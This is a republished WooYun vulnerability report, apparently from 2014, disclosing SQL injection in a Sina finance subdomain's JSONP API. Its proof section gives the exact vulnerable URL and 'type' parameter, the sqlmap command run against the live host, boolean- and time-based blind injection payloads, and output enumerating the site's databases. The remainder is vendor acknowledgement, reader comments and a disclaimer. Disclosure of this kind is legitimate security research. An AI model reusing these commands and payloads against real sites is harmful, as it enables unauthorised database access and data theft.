新浪某分站SQL注入

admin 2015年6月5日07:45:23评论311 views字数 203阅读0分40秒阅读模式
摘要

2014-09-01: 细节已通知厂商并且等待厂商处理中
2014-09-02: 厂商已经确认,细节仅向厂商公开
2014-09-12: 细节向核心白帽子及相关领域专家公开
2014-09-22: 细节向普通白帽子公开
2014-10-02: 细节向实习白帽子公开
2014-10-16: 细节向公众公开

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2014-74700

漏洞标题: 新浪某分站SQL注入

相关厂商: 新浪

漏洞作者: Jannock新浪某分站SQL注入

提交时间: 2014-09-01 22:29

公开时间: 2014-10-16 22:30

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php+字符类型注射

1人收藏


漏洞详情

披露状态:

2014-09-01: 细节已通知厂商并且等待厂商处理中
2014-09-02: 厂商已经确认,细节仅向厂商公开
2014-09-12: 细节向核心白帽子及相关领域专家公开
2014-09-22: 细节向普通白帽子公开
2014-10-02: 细节向实习白帽子公开
2014-10-16: 细节向公众公开

简要描述:

新浪某分站SQL注入

详细说明:

http://stock2.finance.sina.com.cn/sf/api/jsonp.php/aaa=johansen082447293183438691409578322670/dataService.getNoticeList?type=%E5%85%B6%E4%BB%96&index=1&court=&pageNum=undefined

注入点: type

漏洞证明:

:/pentest/database/sqlmap# python sqlmap.py -u "http://stock2.finance.sina.com.cn/sf/api/jsonp.php/aaa=johansen082447293183438691409578322670/dataService.getNoticeList?type=%E5%85%B6%E4%BB%96&index=1&court=&pageNum=undefined" -p type --dbms=mysql --dbs

sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:58:29

[21:58:29] [INFO] testing connection to the target url

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: type

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: type=其他' AND 4082=4082 AND 'xfgz'='xfgz&index=1&court=&pageNum=undefined

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: type=其他' AND SLEEP(5) AND 'weDc'='weDc&index=1&court=&pageNum=undefined

---

[21:58:29] [INFO] testing MySQL

[21:58:30] [INFO] confirming MySQL

[21:58:31] [INFO] the back-end DBMS is MySQL

web application technology: Apache

back-end DBMS: MySQL >= 5.0.0

[21:58:31] [INFO] fetching database names

[21:58:31] [INFO] fetching number of databases

[21:58:31] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[21:58:31] [INFO] retrieved: 3

[21:58:34] [INFO] retrieved: information_schema

[21:59:31] [INFO] retrieved: sf_db

[21:59:49] [INFO] retrieved: test

available databases [3]:

[*] information_schema

[*] sf_db

[*] test

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-09-02 11:21

厂商回复:

感谢关注新浪安全,漏洞正在修复中。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-09-01 22:58 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    1

    沙发

  2. 2014-09-01 23:00 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)

    0

    好厉害!

  3. 2014-09-01 23:04 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    1

    牛淫又发飚了。

  4. 2014-09-01 23:20 | 宇宙第一酷 ( 路人 | Rank:4 漏洞数:1 )

    0

    还说发现漏洞运气好。。

  5. 2014-09-02 00:14 | Smilent ( 实习白帽子 | Rank:48 漏洞数:8 | None)

    1

    你关注的白帽子 Jannock 发表了漏洞 新浪某分站SQL注入

  6. 2014-09-02 00:34 | 疯狂的dabing ( 实习白帽子 | Rank:33 漏洞数:9 | Hehe is golden.)

    0

    一哥别这样。。。

  7. 2014-10-17 09:24 | 【|→上善若水】 ( 普通白帽子 | Rank:127 漏洞数:25 | 【|→上善若水】)

    0

    你这些域名怎么爆出来的啊!这都好几级域名了!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin